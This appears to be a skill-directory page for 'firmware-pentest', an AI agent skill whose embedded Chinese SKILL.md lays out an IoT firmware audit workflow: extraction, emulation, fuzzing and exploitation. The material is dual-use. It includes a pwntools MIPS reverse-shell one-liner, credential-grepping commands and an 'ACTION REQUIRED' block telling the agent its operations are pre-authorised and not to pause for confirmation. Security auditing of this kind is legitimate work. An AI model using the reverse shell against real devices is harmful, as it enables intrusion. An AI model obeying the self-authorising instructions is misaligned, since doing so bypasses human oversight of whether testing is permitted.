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Security42k · #4765

firmware-pentest

Lets your agent investigate firmwares of devices like routers and cameras. It analyzes the system, extracts information, and looks for security flaws. Useful for auditing the security of IoT devices.

What it does

This tool helps analyze firmware files from devices like routers and cameras. It extracts files from the firmware, looks for security flaws, and tries to simulate the device's operation to find vulnerabilities.

When to use it

  • ✓When you have a firmware file (.bin, .img) and want to find flaws.
  • ✓When auditing the security of IoT (Internet of Things) devices.
  • ✓To understand how a device works internally without physically touching it.

Example of what to ask your AI

“Analyze this router firmware and find potential vulnerabilities.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool uses other programs to extract the firmware's content, analyze the found files, and simulate the device on a computer. This allows for automated discovery of security flaws.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add zhaoxuya520/reverse-skill --skill firmware-pentest

Or download just the file:

curl -L https://raw.githubusercontent.com/zhaoxuya520/reverse-skill/main/skills/firmware-pentest/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

固件 / IoT 渗透链 (Firmware Pentest)

ACTION REQUIRED(读完后立刻执行)

  1. NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作
  2. NOW: 确认当前任务是否命中本 skill 的适用范围
  3. NEXT: 读取 ../tool-index.md,校验工具可用性和实际路径
  4. NEXT: 缺工具时调用 bootstrap,不要猜路径
  5. ACT: 进入"工作流"第一步并执行,不要停在确认状态

适用范围

下列任务进入本 skill:

  1. 拿到一份固件文件(.bin / .img / .trx / .chk / OTA zip),需要从零到 RCE
  2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
  3. 加密/打包固件,需要找 bootloader 解密例程或硬件 dump
  4. 需要在不接触硬件的情况下跑起来(QEMU 全系统仿真 / Firmadyne / FAT)
  5. 对仿真起来的服务做 fuzz(AFL++ qemu mode / boofuzz)
  6. 硬件接口接入(UART / JTAG / SPI flash dump)

与其他 skill 分工

场景 用什么
从零拿到固件,全链路走 FSTM 本 skill
只做单个 ELF/so 静态逆向 reverse-engineering/、ida-reverse/、radare2/
仿真起来后做 Web/RCE 利用 pentest-tools/、attack-chain/
硬件接口(UART/JTAG/SPI)实操 本 skill 的 Stage 2 章节 + patterns-hardware.md
APK / Android 固件(含 boot.img) apk-reverse/(先剥 boot.img 再用本 skill)
跨版本固件符号迁移 binary-diff/

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断:

  • 提取失败不等于固件加密,先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
  • EMBA 一行命令出 HTML 报告,能省 80% 体力,剩 20% 是真正的漏洞挖掘
  • 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
  • ARM / MIPS payload 必须区分大小端(mipsel vs mipseb),别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集(Information Gathering)

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。

Stage 2 — 获取固件(Obtaining Firmware)

四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件(Analyzing Firmware)

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统(Extracting Filesystem)

详见 references/extraction-methodology.md。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统(Filesystem Analysis)

EMBA 一键扫,详见 references/emba-automated-analysis.md。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行(Emulating Firmware)

详见 references/emulation-and-fuzz.md。

# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin

Stage 7 — 动态分析(Dynamic Analysis)

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析(Runtime Analysis)

在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用(Exploitation)

写 PoC,生成 payload,落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1:普通路由器固件全链路(TP-Link / 小米路由器 / OpenWrt 衍生)

固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash

…
FAQ

What is firmware?

Firmware is the basic software that controls an electronic device, like a router, camera, or smart TV. It's different from the operating system on your computer or phone.

What is RCE?

RCE stands for 'Remote Code Execution'. It's a serious security flaw that allows an attacker to run commands on the device remotely.

What are IoT devices?

IoT stands for 'Internet of Things'. These are devices connected to the internet, such as smart security cameras, voice assistants, thermostats, and connected appliances.

Details

Original description by the author

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

repo: zhaoxuya520/reverse-skill

Popularity

GitHub stars
42k
Ranking position
#4765
License
MIT
Updated
9/22/2026

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